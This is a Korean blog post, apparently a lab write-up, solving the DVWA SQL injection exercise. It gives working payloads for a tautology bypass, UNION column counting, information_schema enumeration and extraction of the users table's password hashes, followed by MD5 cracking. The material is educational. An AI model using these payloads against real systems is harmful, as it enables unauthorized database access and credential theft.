Network/DVWA

Exercise 7. SQL Injection

dcho 2019. 8. 8. 02:51
SMALL
SQL Injection 공격이란?
  • 데이터베이스에 전송되는 SQL 쿼리문을 조작하여, 데이터를 변조하거나 허가되지 않은 정보에 접근
  • 예전부터 최근까지 꾸준하게 사용
    • 2011년 소니해킹
    • 2015년 뽐뿌 해킹
    • 2015년 어나니머스 WTO 해킹

(출처:인프런/화이트해커가-되기위한-8가지)

DVWA 실습

(Low)

-
먼저 소스코드를 확인을 해보았다. ID, First name, Surname 으로 출력을 해주게 되어있다.

요런식으로 1~5까지 정보가 나오는 것을 확인해 볼 수 있었다.

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
소스코드에서 보면 이런식으로 입력이 들어간 것을 확인해 볼 수 있었다. 그렇다면 알맞는 값을 넣어서 ID를 모두 출력해 보고 싶었다.

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";
입력 폼에 1' or '1'='1 이렇게 입력 해줌으로써 우회를 해주었다. 그렇다면 user_id가 1 또는 참 조건이 성립이 되었다.

ID 모두 출력해주는 SQL Injection 공격이 성공하였다. 

이제 패스워드를 알아보기 위해 UNION 을 이용해 보자.

먼저 첫번째로 칼럼 갯수를 알아 내야 한다. 그 이유는 UNION 구문은 칼럼 갯수를 맞춰야 하기 때문이다.

UNION SELECT를 하기 위해선 칼럼 갯수를 맞춰야 하기에 이런식으로 , 를 이용해 갯수를 맞춰준다.


DVWA에서 하면 일단 칼럼이 1개인지 확인해 보기위해 폼에 1' union select 1# 를 입력해 주었다.

오류가 뜬다.

칼럼 갯수가 2개 라고 가정하고 넣어 보았다.

정상적으로 뜨는것을 보아 칼럼 갯수는 2개라는 것을 확인해 볼 수 있었다.


다른 방법으로는 ORDER BY 를 이용해 칼럼갯수를 확인해 보는 방법이 있었다.


이런식으로 칼럼 갯수보다 크면 오류가 나는 것을 확인해 보았다. 




결론
  • UNION 을 이용하면 정확한 값을 입력할때 까지 일일이 다 대입해 봐야하고
  • ORDER BY 를 이용하면 입력한 값보다 큰지 작은지를 이용하여 확인해 볼 수 있었다.



이렇게 칼럼의 갯수는 2개인데 그 칼럼의 이름을 알아내어 패스워드를 알아 내야 한다.그래서 DB구조를 파악하기로 하였다.

구글 검색을 통해 데이터베이스 명을 먼저 조회를 하는 법을 보고

// 폼 입력 값
1' union select schema_name,1 from information_schema.schemata #

전체 DB이름이 뜨는 것을 확인해 볼 수 있었다. dvwa DB를 이용하면 되겠다.


그럼 DB이름을 통해 테이블 명을 조회하기 위해 관련된 정보를 찾아 보았다.

// 폼 입력 값
1' union select table_name,1 from information_schema.tables where table_schema = 'dvwa' #

users 테이블 발견


// 폼 입력 값
1' union select column_name,1 from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

이제 필드명을 알았으니 password를 확인해 보자.

// 폼 입력 값
1' union select user_id,password from users#
1' union select user,password from users#

확인! DB의 패스워드값은 해시값으로 되어있다 그 해시값은 보통 2가지가 쓰인다.

(출처 : 위키백과)
※ MD5는 레인보우 테이블이 있어 복호화가 가능해 보안에 취약하고 SHA 는 MD5보다 더 보안에 강해 많이 쓰인다고 한다. 

여기서는 MD5 해시값으로 암호화가 되어있어 복호화를 진행하여서 각각 확인해 보았다.

결과는 다음과 같다.